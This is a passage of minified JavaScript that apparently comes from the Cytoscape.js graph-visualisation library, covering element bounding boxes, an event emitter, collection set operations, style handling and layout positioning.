U=s.bodyBounds=s.bodyBounds||{};Ut(U,o);Ht(U,y);Wt(U,1);if(a){f=o.x1;c=o.x2;v=o.y1;d=o.y2;oi(o,f-k,v-k,c+k,d+k)}var K=s.overlayBounds=s.overlayBounds||{};Ut(K,o);Ht(K,y);Wt(K,1);var $=s.labelBounds=s.labelBounds||{};if($.all!=null){Gt($.all)}else{$.all=Vt()}if(a&&r.includeLabels){if(r.includeMainLabels){fi(o,t,null)}if(l){if(r.includeSourceLabels){fi(o,t,"source")}if(r.includeTargetLabels){fi(o,t,"target")}}}}o.x1=ii(o.x1);o.y1=ii(o.y1);o.x2=ii(o.x2);o.y2=ii(o.y2);o.w=ii(o.x2-o.x1);o.h=ii(o.y2-o.y1);if(o.w>0&&o.h>0&&b){Ht(o,y);Wt(o,1)}return o};var vi=function e(t){var r=0;var n=function e(t){return(t?1:0)<<r++};var a=0;a+=n(t.incudeNodes);a+=n(t.includeEdges);a+=n(t.includeLabels);a+=n(t.includeMainLabels);a+=n(t.includeSourceLabels);a+=n(t.includeTargetLabels);a+=n(t.includeOverlays);return a};var di=function e(t){if(t.isEdge()){var r=t.source().position();var n=t.target().position();var a=function e(t){return Math.round(t)};return Te([a(r.x),a(r.y),a(n.x),a(n.y)])}else{return 0}};var hi=function e(t,r){var n=t._private;var a;var i=t.isEdge();var o=r==null?gi:vi(r);var s=o===gi;var u=di(t);var l=n.bbCachePosKey===u;var f=r.useCache&&l;var c=function e(t){return t._private.bbCache==null||t._private.styleDirty};var v=!f||c(t)||i&&c(t.source())||c(t.target());if(v){if(!l){t.recalculateRenderedStyle(f)}a=ci(t,pi);n.bbCache=a;n.bbCachePosKey=u}else{a=n.bbCache}if(!s){var d=t.isNode();a=Vt();if(r.includeNodes&&d||r.includeEdges&&!d){if(r.includeOverlays){si(a,n.overlayBounds)}else{si(a,n.bodyBounds)}}if(r.includeLabels){if(r.includeMainLabels&&(!i||r.includeSourceLabels&&r.includeTargetLabels)){si(a,n.labelBounds.all)}else{if(r.includeMainLabels){si(a,n.labelBounds.mainRot)}if(r.includeSourceLabels){si(a,n.labelBounds.sourceRot)}if(r.includeTargetLabels){si(a,n.labelBounds.targetRot)}}}a.w=a.x2-a.x1;a.h=a.y2-a.y1}return a};var pi={includeNodes:true,includeEdges:true,includeLabels:true,includeMainLabels:true,includeSourceLabels:true,includeTargetLabels:true,includeOverlays:true,includeUnderlays:true,useCache:true};var gi=vi(pi);var yi=Ke(pi);ai.boundingBox=function(e){var t;if(this.length===1&&this[0]._private.bbCache!=null&&!this[0]._private.styleDirty&&(e===undefined||e.useCache===undefined||e.useCache===true)){if(e===undefined){e=pi}else{e=yi(e)}t=hi(this[0],e)}else{t=Vt();e=e||pi;var r=yi(e);var n=this;var a=n.cy();var i=a.styleEnabled();if(i){for(var o=0;o<n.length;o++){var s=n[o];var u=s._private;var l=di(s);var f=u.bbCachePosKey===l;var c=r.useCache&&f&&!u.styleDirty;s.recalculateRenderedStyle(c)}}this.updateCompoundBounds(!e.useCache);for(var v=0;v<n.length;v++){var d=n[v];si(t,hi(d,r))}}t.x1=ii(t.x1);t.y1=ii(t.y1);t.x2=ii(t.x2);t.y2=ii(t.y2);t.w=ii(t.x2-t.x1);t.h=ii(t.y2-t.y1);return t};ai.dirtyBoundingBoxCache=function(){for(var e=0;e<this.length;e++){var t=this[e]._private;t.bbCache=null;t.bbCachePosKey=null;t.bodyBounds=null;t.overlayBounds=null;t.labelBounds.all=null;t.labelBounds.source=null;t.labelBounds.target=null;t.labelBounds.main=null;t.labelBounds.sourceRot=null;t.labelBounds.targetRot=null;t.labelBounds.mainRot=null;t.arrowBounds.source=null;t.arrowBounds.target=null;t.arrowBounds["mid-source"]=null;t.arrowBounds["mid-target"]=null}this.emitAndNotify("bounds");return this};ai.boundingBoxAt=function(e){var t=this.nodes();var r=this.cy();var n=r.hasCompoundNodes();var a=r.collection();if(n){a=t.filter((function(e){return e.isParent()}));t=t.not(a)}if(P(e)){var i=e;e=function e(){return i}}var o=function t(r,n){return r._private.bbAtOldPos=e(r,n)};var s=function e(t){return t._private.bbAtOldPos};r.startBatch();t.forEach(o).silentPositions(e);if(n){a.dirtyCompoundBoundsCache();a.dirtyBoundingBoxCache();a.updateCompoundBounds(true)}var u=qt(this.boundingBox({useCache:false}));t.silentPositions(s);if(n){a.dirtyCompoundBoundsCache();a.dirtyBoundingBoxCache();a.updateCompoundBounds(true)}r.endBatch();return u};ni.boundingbox=ni.bb=ni.boundingBox;ni.renderedBoundingbox=ni.renderedBoundingBox;var mi=ai;var bi,xi;bi=xi={};var wi=function e(t){t.uppercaseName=K(t.name);t.autoName="auto"+t.uppercaseName;t.labelName="label"+t.uppercaseName;t.outerName="outer"+t.uppercaseName;t.uppercaseOuterName=K(t.outerName);bi[t.name]=function e(){var r=this[0];var n=r._private;var a=n.cy;var i=a._private.styleEnabled;if(r){if(i){if(r.isParent()){r.updateCompoundBounds();return n[t.autoName]||0}var o=r.pstyle(t.name);switch(o.strValue){case"label":r.recalculateRenderedStyle();return n.rstyle[t.labelName]||0;default:return o.pfValue}}else{return 1}}};bi["outer"+t.uppercaseName]=function e(){var r=this[0];var n=r._private;var a=n.cy;var i=a._private.styleEnabled;if(r){if(i){var o=r[t.name]();var s=r.pstyle("border-width").pfValue;var u=2*r.padding();return o+s+u}else{return 1}}};bi["rendered"+t.uppercaseName]=function e(){var r=this[0];if(r){var n=r[t.name]();return n*this.cy().zoom()}};bi["rendered"+t.uppercaseOuterName]=function e(){var r=this[0];if(r){var n=r[t.outerName]();return n*this.cy().zoom()}}};wi({name:"width"});wi({name:"height"});xi.padding=function(){var e=this[0];var t=e._private;if(e.isParent()){e.updateCompoundBounds();if(t.autoPadding!==undefined){return t.autoPadding}else{return e.pstyle("padding").pfValue}}else{return e.pstyle("padding").pfValue}};xi.paddedHeight=function(){var e=this[0];return e.height()+2*e.padding()};xi.paddedWidth=function(){var e=this[0];return e.width()+2*e.padding()};var Ei=xi;var _i=function e(t,r){if(t.isEdge()){return r(t)}};var ki=function e(t,r){if(t.isEdge()){var n=t.cy();return _t(r(t),n.zoom(),n.pan())}};var Si=function e(t,r){if(t.isEdge()){var n=t.cy();var a=n.pan();var i=n.zoom();return r(t).map((function(e){return _t(e,i,a)}))}};var Ci=function e(t){return t.renderer().getControlPoints(t)};var Di=function e(t){return t.renderer().getSegmentPoints(t)};var Ti=function e(t){return t.renderer().getSourceEndpoint(t)};var Pi=function e(t){return t.renderer().getTargetEndpoint(t)};var Mi=function e(t){return t.renderer().getEdgeMidpoint(t)};var Ii={controlPoints:{get:Ci,mult:true},segmentPoints:{get:Di,mult:true},sourceEndpoint:{get:Ti},targetEndpoint:{get:Pi},midpoint:{get:Mi}};var Oi=function e(t){return"rendered"+t[0].toUpperCase()+t.substr(1)};var Ni=Object.keys(Ii).reduce((function(e,t){var r=Ii[t];var n=Oi(t);e[t]=function(){return _i(this,r.get)};if(r.mult){e[n]=function(){return Si(this,r.get)}}else{e[n]=function(){return ki(this,r.get)}}return e}),{});var zi=ie({},ri,mi,Ei,Ni);
/*!
Event object based on jQuery events, MIT license

https://jquery.org/license/
https://tldrlegal.com/license/mit-license
https://github.com/jquery/jquery/blob/master/src/event.js
*/var Ai=function e(t,r){this.recycle(t,r)};function Li(){return false}function Bi(){return true}Ai.prototype={instanceString:function e(){return"event"},recycle:function e(t,r){this.isImmediatePropagationStopped=this.isPropagationStopped=this.isDefaultPrevented=Li;if(t!=null&&t.preventDefault){this.type=t.type;this.isDefaultPrevented=t.defaultPrevented?Bi:Li}else if(t!=null&&t.type){r=t}else{this.type=t}if(r!=null){this.originalEvent=r.originalEvent;this.type=r.type!=null?r.type:this.type;this.cy=r.cy;this.target=r.target;this.position=r.position;this.renderedPosition=r.renderedPosition;this.namespace=r.namespace;this.layout=r.layout}if(this.cy!=null&&this.position!=null&&this.renderedPosition==null){var n=this.position;var a=this.cy.zoom();var i=this.cy.pan();this.renderedPosition={x:n.x*a+i.x,y:n.y*a+i.y}}this.timeStamp=t&&t.timeStamp||Date.now()},preventDefault:function e(){this.isDefaultPrevented=Bi;var t=this.originalEvent;if(!t){return}if(t.preventDefault){t.preventDefault()}},stopPropagation:function e(){this.isPropagationStopped=Bi;var t=this.originalEvent;if(!t){return}if(t.stopPropagation){t.stopPropagation()}},stopImmediatePropagation:function e(){this.isImmediatePropagationStopped=Bi;this.stopPropagation()},isDefaultPrevented:Li,isPropagationStopped:Li,isImmediatePropagationStopped:Li};var ji=/^([^.]+)(\.(?:[^.]+))?$/;var Ri=".*";var Fi={qualifierCompare:function e(t,r){return t===r},eventMatches:function e(){return true},addEventFields:function e(){},callbackContext:function e(t){return t},beforeEmit:function e(){},afterEmit:function e(){},bubble:function e(){return false},parent:function e(){return null},context:null};var Vi=Object.keys(Fi);var qi={};function Gi(){var e=arguments.length>0&&arguments[0]!==undefined?arguments[0]:qi;var t=arguments.length>1?arguments[1]:undefined;for(var r=0;r<Vi.length;r++){var n=Vi[r];this[n]=e[n]||Fi[n]}this.context=t||this.context;this.listeners=[];this.emitting=0}var Yi=Gi.prototype;var Xi=function e(t,r,n,a,i,o,s){if(D(a)){i=a;a=null}if(s){if(o==null){o=s}else{o=ie({},o,s)}}var u=T(n)?n:n.split(/\s+/);for(var l=0;l<u.length;l++){var f=u[l];if(F(f)){continue}var c=f.match(ji);if(c){var v=c[1];var d=c[2]?c[2]:null;var h=r(t,f,v,d,a,i,o);if(h===false){break}}}};var Wi=function e(t,r){t.addEventFields(t.context,r);return new Ai(r.type,r)};var Hi=function e(t,r,n){if(R(n)){r(t,n);return}else if(P(n)){r(t,Wi(t,n));return}var a=T(n)?n:n.split(/\s+/);for(var i=0;i<a.length;i++){var o=a[i];if(F(o)){continue}var s=o.match(ji);if(s){var u=s[1];var l=s[2]?s[2]:null;var f=Wi(t,{type:u,namespace:l,target:t.context});r(t,f)}}};Yi.on=Yi.addListener=function(e,t,r,n,a){Xi(this,(function(e,t,r,n,a,i,o){if(D(i)){e.listeners.push({event:t,callback:i,type:r,namespace:n,qualifier:a,conf:o})}}),e,t,r,n,a);return this};Yi.one=function(e,t,r,n){return this.on(e,t,r,n,{one:true})};Yi.removeListener=Yi.off=function(e,t,r,n){var a=this;if(this.emitting!==0){this.listeners=Xe(this.listeners)}var i=this.listeners;var o=function o(s){var u=i[s];Xi(a,(function(t,r,n,a,o,l){if((u.type===n||e==="*")&&(!a&&u.namespace!==".*"||u.namespace===a)&&(!o||t.qualifierCompare(u.qualifier,o))&&(!l||u.callback===l)){i.splice(s,1);return false}}),e,t,r,n)};for(var s=i.length-1;s>=0;s--){o(s)}return this};Yi.removeAllListeners=function(){return this.removeListener("*")};Yi.emit=Yi.trigger=function(e,t,r){var n=this.listeners;var a=n.length;this.emitting++;if(!T(t)){t=[t]}Hi(this,(function(e,i){if(r!=null){n=[{event:i.event,type:i.type,namespace:i.namespace,callback:r}];a=n.length}var o=function r(a){var o=n[a];if(o.type===i.type&&(!o.namespace||o.namespace===i.namespace||o.namespace===Ri)&&e.eventMatches(e.context,o,i)){var s=[i];if(t!=null){Qe(s,t)}e.beforeEmit(e.context,o,i);if(o.conf&&o.conf.one){e.listeners=e.listeners.filter((function(e){return e!==o}))}var u=e.callbackContext(e.context,o,i);var l=o.callback.apply(u,s);e.afterEmit(e.context,o,i);if(l===false){i.stopPropagation();i.preventDefault()}}};for(var s=0;s<a;s++){o(s)}if(e.bubble(e.context)&&!i.isPropagationStopped()){e.parent(e.context).emit(i,t)}}),e);this.emitting--;return this};var Ui={qualifierCompare:function e(t,r){if(t==null||r==null){return t==null&&r==null}else{return t.sameText(r)}},eventMatches:function e(t,r,n){var a=r.qualifier;if(a!=null){return t!==n.target&&A(n.target)&&a.matches(n.target)}return true},addEventFields:function e(t,r){r.cy=t.cy();r.target=t},callbackContext:function e(t,r,n){return r.qualifier!=null?n.target:t},beforeEmit:function e(t,r){if(r.conf&&r.conf.once){r.conf.onceCollection.removeListener(r.event,r.qualifier,r.callback)}},bubble:function e(){return true},parent:function e(t){return t.isChild()?t.parent():t.cy()}};var Ki=function e(t){if(C(t)){return new Ba(t)}else{return t}};var $i={createEmitter:function e(){for(var t=0;t<this.length;t++){var r=this[t];var n=r._private;if(!n.emitter){n.emitter=new Gi(Ui,r)}}return this},emitter:function e(){return this._private.emitter},on:function e(t,r,n){var a=Ki(r);for(var i=0;i<this.length;i++){var o=this[i];o.emitter().on(t,a,n)}return this},removeListener:function e(t,r,n){var a=Ki(r);for(var i=0;i<this.length;i++){var o=this[i];o.emitter().removeListener(t,a,n)}return this},removeAllListeners:function e(){for(var t=0;t<this.length;t++){var r=this[t];r.emitter().removeAllListeners()}return this},one:function e(t,r,n){var a=Ki(r);for(var i=0;i<this.length;i++){var o=this[i];o.emitter().one(t,a,n)}return this},once:function e(t,r,n){var a=Ki(r);for(var i=0;i<this.length;i++){var o=this[i];o.emitter().on(t,a,n,{once:true,onceCollection:this})}},emit:function e(t,r){for(var n=0;n<this.length;n++){var a=this[n];a.emitter().emit(t,r)}return this},emitAndNotify:function e(t,r){if(this.length===0){return}this.cy().notify(t,this);this.emit(t,r);return this}};la.eventAliasesOn($i);var Zi={nodes:function e(t){return this.filter((function(e){return e.isNode()})).filter(t)},edges:function e(t){return this.filter((function(e){return e.isEdge()})).filter(t)},byGroup:function e(){var t=this.spawn();var r=this.spawn();for(var n=0;n<this.length;n++){var a=this[n];if(a.isNode()){t.push(a)}else{r.push(a)}}return{nodes:t,edges:r}},filter:function e(t,r){if(t===undefined){return this}else if(C(t)||z(t)){return new Ba(t).filter(this)}else if(D(t)){var n=this.spawn();var a=this;for(var i=0;i<a.length;i++){var o=a[i];var s=r?t.apply(r,[o,i,a]):t(o,i,a);if(s){n.push(o)}}return n}return this.spawn()},not:function e(t){if(!t){return this}else{if(C(t)){t=this.filter(t)}var r=this.spawn();for(var n=0;n<this.length;n++){var a=this[n];var i=t.has(a);if(!i){r.push(a)}}return r}},absoluteComplement:function e(){var t=this.cy();return t.mutableElements().not(this)},intersect:function e(t){if(C(t)){var r=t;return this.filter(r)}var n=this.spawn();var a=this;var i=t;var o=this.length<t.length;var s=o?a:i;var u=o?i:a;for(var l=0;l<s.length;l++){var f=s[l];if(u.has(f)){n.push(f)}}return n},xor:function e(t){var r=this._private.cy;if(C(t)){t=r.$(t)}var n=this.spawn();var a=this;var i=t;var o=function e(t,r){for(var a=0;a<t.length;a++){var i=t[a];var o=i._private.data.id;var s=r.hasElementWithId(o);if(!s){n.push(i)}}};o(a,i);o(i,a);return n},diff:function e(t){var r=this._private.cy;if(C(t)){t=r.$(t)}var n=this.spawn();var a=this.spawn();var i=this.spawn();var o=this;var s=t;var u=function e(t,r,n){for(var a=0;a<t.length;a++){var o=t[a];var s=o._private.data.id;var u=r.hasElementWithId(s);if(u){i.merge(o)}else{n.push(o)}}};u(o,s,n);u(s,o,a);return{left:n,right:a,both:i}},add:function e(t){var r=this._private.cy;if(!t){return this}if(C(t)){var n=t;t=r.mutableElements().filter(n)}var a=this.spawnSelf();for(var i=0;i<t.length;i++){var o=t[i];var e=!this.has(o);if(e){a.push(o)}}return a},merge:function e(t){var r=this._private;var n=r.cy;if(!t){return this}if(t&&C(t)){var a=t;t=n.mutableElements().filter(a)}var i=r.map;for(var o=0;o<t.length;o++){var s=t[o];var u=s._private.data.id;var l=!i.has(u);if(l){var f=this.length++;this[f]=s;i.set(u,{ele:s,index:f})}}return this},unmergeAt:function e(t){var r=this[t];var n=r.id();var a=this._private;var i=a.map;this[t]=undefined;i["delete"](n);var o=t===this.length-1;if(this.length>1&&!o){var s=this.length-1;var u=this[s];var l=u._private.data.id;this[s]=undefined;this[t]=u;i.set(l,{ele:u,index:t})}this.length--;return this},unmergeOne:function e(t){t=t[0];var r=this._private;var n=t._private.data.id;var a=r.map;var i=a.get(n);if(!i){return this}var o=i.index;this.unmergeAt(o);return this},unmerge:function e(t){var r=this._private.cy;if(!t){return this}if(t&&C(t)){var n=t;t=r.mutableElements().filter(n)}for(var a=0;a<t.length;a++){this.unmergeOne(t[a])}return this},unmergeBy:function e(t){for(var r=this.length-1;r>=0;r--){var n=this[r];if(t(n)){this.unmergeAt(r)}}return this},map:function e(t,r){var n=[];var a=this;for(var i=0;i<a.length;i++){var o=a[i];var s=r?t.apply(r,[o,i,a]):t(o,i,a);n.push(s)}return n},reduce:function e(t,r){var n=r;var a=this;for(var i=0;i<a.length;i++){n=t(n,a[i],i,a)}return n},max:function e(t,r){var e=-Infinity;var n;var a=this;for(var i=0;i<a.length;i++){var o=a[i];var s=r?t.apply(r,[o,i,a]):t(o,i,a);if(s>e){e=s;n=o}}return{value:e,ele:n}},min:function e(t,r){var e=Infinity;var n;var a=this;for(var i=0;i<a.length;i++){var o=a[i];var s=r?t.apply(r,[o,i,a]):t(o,i,a);if(s<e){e=s;n=o}}return{value:e,ele:n}}};var Qi=Zi;Qi["u"]=Qi["|"]=Qi["+"]=Qi.union=Qi.or=Qi.add;Qi["\\"]=Qi["!"]=Qi["-"]=Qi.difference=Qi.relativeComplement=Qi.subtract=Qi.not;Qi["n"]=Qi["&"]=Qi["."]=Qi.and=Qi.intersection=Qi.intersect;Qi["^"]=Qi["(+)"]=Qi["(-)"]=Qi.symmetricDifference=Qi.symdiff=Qi.xor;Qi.fnFilter=Qi.filterFn=Qi.stdFilter=Qi.filter;Qi.complement=Qi.abscomp=Qi.absoluteComplement;var Ji={isNode:function e(){return this.group()==="nodes"},isEdge:function e(){return this.group()==="edges"},isLoop:function e(){return this.isEdge()&&this.source()[0]===this.target()[0]},isSimple:function e(){return this.isEdge()&&this.source()[0]!==this.target()[0]},group:function e(){var t=this[0];if(t){return t._private.group}}};var eo=function e(t,r){var n=t.cy();var a=n.hasCompoundNodes();function i(e){var t=e.pstyle("z-compound-depth");if(t.value==="auto"){return a?e.zDepth():0}else if(t.value==="bottom"){return-1}else if(t.value==="top"){return Ae}return 0}var o=i(t)-i(r);if(o!==0){return o}function s(e){var t=e.pstyle("z-index-compare");if(t.value==="auto"){return e.isNode()?1:0}return 0}var u=s(t)-s(r);if(u!==0){return u}var l=t.pstyle("z-index").value-r.pstyle("z-index").value;if(l!==0){return l}return t.poolIndex()-r.poolIndex()};var to={forEach:function e(t,r){if(D(t)){var n=this.length;for(var a=0;a<n;a++){var i=this[a];var o=r?t.apply(r,[i,a,this]):t(i,a,this);if(o===false){break}}}return this},toArray:function e(){var t=[];for(var r=0;r<this.length;r++){t.push(this[r])}return t},slice:function e(t,r){var n=[];var a=this.length;if(r==null){r=a}if(t==null){t=0}if(t<0){t=a+t}if(r<0){r=a+r}for(var i=t;i>=0&&i<r&&i<a;i++){n.push(this[i])}return this.spawn(n)},size:function e(){return this.length},eq:function e(t){return this[t]||this.spawn()},first:function e(){return this[0]||this.spawn()},last:function e(){return this[this.length-1]||this.spawn()},empty:function e(){return this.length===0},nonempty:function e(){return!this.empty()},sort:function e(t){if(!D(t)){return this}var r=this.toArray().sort(t);return this.spawn(r)},sortByZIndex:function e(){return this.sort(eo)},zDepth:function e(){var t=this[0];if(!t){return undefined}var r=t._private;var n=r.group;if(n==="nodes"){var a=r.data.parent?t.parents().size():0;if(!t.isParent()){return Ae-1}return a}else{var i=r.source;var o=r.target;var s=i.zDepth();var u=o.zDepth();return Math.max(s,u,0)}}};to.each=to.forEach;var ro=function e(){var t="undefined";var r=(typeof Symbol==="undefined"?"undefined":l(Symbol))!=t&&l(Symbol.iterator)!=t;if(r){to[Symbol.iterator]=function(){var e=this;var t={value:undefined,done:false};var r=0;var n=this.length;return d({next:function a(){if(r<n){t.value=e[r++]}else{t.value=undefined;t.done=true}return t}},Symbol.iterator,(function(){return this}))}}};ro();var no=Ke({nodeDimensionsIncludeLabels:false});var ao={layoutDimensions:function e(t){t=no(t);var r;if(!this.takesUpSpace()){r={w:0,h:0}}else if(t.nodeDimensionsIncludeLabels){var n=this.boundingBox();r={w:n.w,h:n.h}}else{r={w:this.outerWidth(),h:this.outerHeight()}}if(r.w===0||r.h===0){r.w=r.h=1}return r},layoutPositions:function e(t,r,n){var a=this.nodes().filter((function(e){return!e.isParent()}));var i=this.cy();var o=r.eles;var s=function e(t){return t.id()};var u=X(n,s);t.emit({type:"layoutstart",layout:t});t.animations=[];var l=function e(t,r,n){var a={x:r.x1+r.w/2,y:r.y1+r.h/2};var i={x:(n.x-a.x)*t,y:(n.y-a.y)*t};return{x:a.x+i.x,y:a.y+i.y}};var f=r.spacingFactor&&r.spacingFactor!==1;var c=function e(){if(!f){return null}var t=Vt();for(var r=0;r<a.length;r++){var n=a[r];var i=u(n,r);Xt(t,i.x,i.y)}return t};var v=c();var d=X((function(e,t){var n=u(e,t);if(f){var a=Math.abs(r.spacingFactor);n=l(a,v,n)}if(r.transform!=null){n=r.transform(e,n)}return n}),s);if(r.animate){for(var h=0;h<a.length;h++){var p=a[h];var g=d(p,h);var y=r.animateFilter==null||r.animateFilter(p,h);if(y){var m=p.animation({position:g,duration:r.animationDuration,easing:r.animationEasing});t.animations.push(m)}else{p.position(g)}}if(r.fit){var b=i.animation({fit:{boundingBox:o.boundingBoxAt(d),padding:r.padding},duration:r.animationDuration,easing:r.animationEasing});t.animations.push(b)}else if(r.zoom!==undefined&&r.pan!==undefined){var x=i.animation({zoom:r.zoom,pan:r.pan,duration:r.animationDuration,easing:r.animationEasing});t.animations.push(x)}t.animations.forEach((function(e){return e.play()}));t.one("layoutready",r.ready);t.emit({type:"layoutready",layout:t});na.all(t.animations.map((function(e){return e.promise()}))).then((function(){t.one("layoutstop",r.stop);t.emit({type:"layoutstop",layout:t})}))}else{a.positions(d);if(r.fit){i.fit(r.eles,r.padding)}if(r.zoom!=null){i.zoom(r.zoom)}if(r.pan){i.pan(r.pan)}t.one("layoutready",r.ready);t.emit({type:"layoutready",layout:t});t.one("layoutstop",r.stop);t.emit({type:"layoutstop",layout:t})}return this},layout:function e(t){var r=this.cy();return r.makeLayout(ie({},t,{eles:this}))}};ao.createLayout=ao.makeLayout=ao.layout;function io(e,t,r){var n=r._private;var a=n.styleCache=n.styleCache||[];var i;if((i=a[e])!=null){return i}else{i=a[e]=t(r);return i}}function oo(e,t){e=Pe(e);return function r(n){return io(e,t,n)}}function so(e,t){e=Pe(e);var r=function e(r){return t.call(r)};return function t(){var n=this[0];if(n){return io(e,r,n)}}}var uo={recalculateRenderedStyle:function e(t){var r=this.cy();var n=r.renderer();var a=r.styleEnabled();if(n&&a){n.recalculateRenderedStyle(this,t)}return this},dirtyStyleCache:function e(){var t=this.cy();var r=function e(t){return t._private.styleCache=null};if(t.hasCompoundNodes()){var n;n=this.spawnSelf().merge(this.descendants()).merge(this.parents());n.merge(n.connectedEdges());n.forEach(r)}else{this.forEach((function(e){r(e);e.connectedEdges().forEach(r)}))}return this},updateStyle:function e(t){var r=this._private.cy;if(!r.styleEnabled()){return this}if(r.batching()){var n=r._private.batchStyleEles;n.merge(this);return this}var a=r.hasCompoundNodes();var i=this;t=t||t===undefined?true:false;if(a){i=this.spawnSelf().merge(this.descendants()).merge(this.parents())}var o=i;if(t){o.emitAndNotify("style")}else{o.emit("style")}i.forEach((function(e){return e._private.styleDirty=true}));return this},cleanStyle:function e(){var t=this.cy();if(!t.styleEnabled()){return}for(var r=0;r<this.length;r++){var n=this[r];if(n._private.styleDirty){n._private.styleDirty=false;t.style().apply(n)}}},parsedStyle:function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;var n=this[0];var a=n.cy();if(!a.styleEnabled()){return}if(n){this.cleanStyle();var i=n._private.style[t];if(i!=null){return i}else if(r){return a.style().getDefaultProperty(t)}else{return null}}},numericStyle:function e(t){var r=this[0];if(!r.cy().styleEnabled()){return}if(r){var n=r.pstyle(t);return n.pfValue!==undefined?n.pfValue:n.value}},numericStyleUnits:function e(t){var r=this[0];if(!r.cy().styleEnabled()){return}if(r){return r.pstyle(t).units}},renderedStyle:function e(t){var r=this.cy();if(!r.styleEnabled()){return this}var n=this[0];if(n){return r.style().getRenderedStyle(n,t)}},style:function e(t,r){var n=this.cy();if(!n.styleEnabled()){return this}var a=false;var e=n.style();if(P(t)){var i=t;e.applyBypass(this,i,a);this.emitAndNotify("style")}else if(C(t)){if(r===undefined){var o=this[0];if(o){return e.getStylePropertyValue(o,t)}else{return}}else{e.applyBypass(this,t,r,a);this.emitAndNotify("style")}}else if(t===undefined){var s=this[0];if(s){return e.getRawStyle(s)}else{return}}return this},removeStyle:function e(t){var r=this.cy();if(!r.styleEnabled()){return this}var n=false;var a=r.style();var i=this;if(t===undefined){for(var o=0;o<i.length;o++){var s=i[o];a.removeAllBypasses(s,n)}}else{t=t.split(/\s+/);for(var u=0;u<i.length;u++){var l=i[u];a.removeBypasses(l,t,n)}}this.emitAndNotify("style");return this},show:function e(){this.css("display","element");return this},hide:function e(){this.css("display","none");return this},effectiveOpacity:function e(){var t=this.cy();if(!t.styleEnabled()){return 1}var r=t.hasCompoundNodes();var n=this[0];if(n){var a=n._private;var i=n.pstyle("opacity").value;if(!r){return i}var o=!a.data.parent?null:n.parents();if(o){for(var s=0;s<o.length;s++){var u=o[s];var l=u.pstyle("opacity").value;i=l*i}}return i}},transparent:function e(){var t=this.cy();if(!t.styleEnabled()){return false}var r=this[0];var n=r.cy().hasCompoundNodes();if(r){if(!n){return r.pstyle("opacity").value===0}else{return r.effectiveOpacity()===0}}},backgrounding:function e(){var t=this.cy();if(!t.styleEnabled()){return false}var r=this[0];return r._private.backgrounding?true:false}};function lo(e,t){var r=e._private;var n=r.data.parent?e.parents():null;if(n){for(var a=0;a<n.length;a++){var i=n[a];if(!t(i)){return false}}}return true}function fo(e){var t=e.ok;var r=e.edgeOkViaNode||e.ok;var n=e.parentOk||e.ok;return function(){var e=this.cy();if(!e.styleEnabled()){return true}var a=this[0];var i=e.hasCompoundNodes();if(a){var o=a._private;if(!t(a)){return false}if(a.isNode()){return!i||lo(a,n)}else{var s=o.source;var u=o.target;return r(s)&&(!i||lo(s,r))&&(s===u||r(u)&&(!i||lo(u,r)))}}}}var co=oo("eleTakesUpSpace",(function(e){return e.pstyle("display").value==="element"&&e.width()!==0&&(e.isNode()?e.height()!==0:true)}));uo.takesUpSpace=so("takesUpSpace",fo({ok:co}));var vo=oo("eleInteractive",(function(e){return e.pstyle("events").value==="yes"&&e.pstyle("visibility").value==="visible"&&co(e)}));var ho=oo("parentInteractive",(function(e){return e.pstyle("visibility").value==="visible"&&co(e)}));uo.interactive=so("interactive",fo({ok:vo,parentOk:ho,edgeOkViaNode:co}));uo.noninteractive=function(){var e=this[0];if(e){return!e.interactive()}};var po=oo("eleVisible",(function(e){return e.pstyle("visibility").value==="visible"&&e.pstyle("opacity").pfValue!==0&&co(e)}));var go=co;uo.visible=so("visible",fo({ok:po,edgeOkViaNode:go}));uo.hidden=function(){var e=this[0];if(e){return!e.visible()}};uo.isBundledBezier=so("isBundledBezier",(function(){if(!this.cy().styleEnabled()){return false}return!this.removed()&&this.pstyle("curve-style").value==="bezier"&&this.takesUpSpace()}));uo.bypass=uo.css=uo.style;uo.renderedCss=uo.renderedStyle;uo.removeBypass=uo.removeCss=uo.removeStyle;uo.pstyle=uo.parsedStyle;var yo={};function mo(e){return function(){var t=arguments;var r=[];if(t.length===2){var n=t[0];var a=t[1];this.on(e.event,n,a)}else if(t.length===1&&D(t[0])){var i=t[0];this.on(e.event,i)}else if(t.length===0||t.length===1&&T(t[0])){var o=t.length===1?t[0]:null;for(var s=0;s<this.length;s++){var u=this[s];var l=!e.ableField||u._private[e.ableField];var f=u._private[e.field]!=e.value;if(e.overrideAble){var c=e.overrideAble(u);if(c!==undefined){l=c;if(!c){return this}}}if(l){u._private[e.field]=e.value;if(f){r.push(u)}}}var v=this.spawn(r);v.updateStyle();v.emit(e.event);if(o){v.emit(o)}}return this}}function bo(e){yo[e.field]=function(){var t=this[0];if(t){if(e.overrideField){var r=e.overrideField(t);if(r!==undefined){return r}}return t._private[e.field]}};yo[e.on]=mo({event:e.on,field:e.field,ableField:e.ableField,overrideAble:e.overrideAble,value:true});yo[e.off]=mo({event:e.off,field:e.field,ableField:e.ableField,overrideAble:e.overrideAble,value:false})}bo({field:"locked",overrideField:function e(t){return t.cy().autolock()?true:undefined},on:"lock",off:"unlock"});bo({field:"grabbable",overrideField:function e(t){return t.cy().autoungrabify()||t.pannable()?false:undefined},on:"grabify",off:"ungrabify"});bo({field:"selected",ableField:"selectable",overrideAble:function e(t){return t.cy().autounselectify()?false:undefined},on:"select",off:"unselect"});bo({field:"selectable",overrideField:function e(t){return t.cy().autounselectify()?false:undefined},on:"selectify",off:"unselectify"});yo.deselect=yo.unselect;yo.grabbed=function(){var e=this[0];if(e){return e._private.grabbed}};bo({field:"active",on:"activate",off:"unactivate"});bo({field:"pannable",on:"panify",off:"unpanify"});yo.inactive=function(){var e=this[0];if(e){return!e._private.active}};var xo={};var wo=function e(t){return function e(r){var n=this;var a=[];for(var i=0;i<n.length;i++){var o=n[i];if(!o.isNode()){continue}var s=false;var u=o.connectedEdges();for(var l=0;l<u.length;l++){var f=u[l];var c=f.source();var v=f.target();if(t.noIncomingEdges&&v===o&&c!==o||t.noOutgoingEdges&&c===o&&v!==o){s=true;break}}if(!s){a.push(o)}}return this.spawn(a,true).filter(r)}};var Eo=function e(t){return function(e){var r=this;var n=[];for(var a=0;a<r.length;a++){var i=r[a];if(!i.isNode()){continue}var o=i.connectedEdges();for(var s=0;s<o.length;s++){var u=o[s];var l=u.source();var f=u.target();if(t.outgoing&&l===i){n.push(u);n.push(f)}else if(t.incoming&&f===i){n.push(u);n.push(l)}}}return this.spawn(n,true).filter(e)}};var _o=function e(t){return function(e){var r=this;var 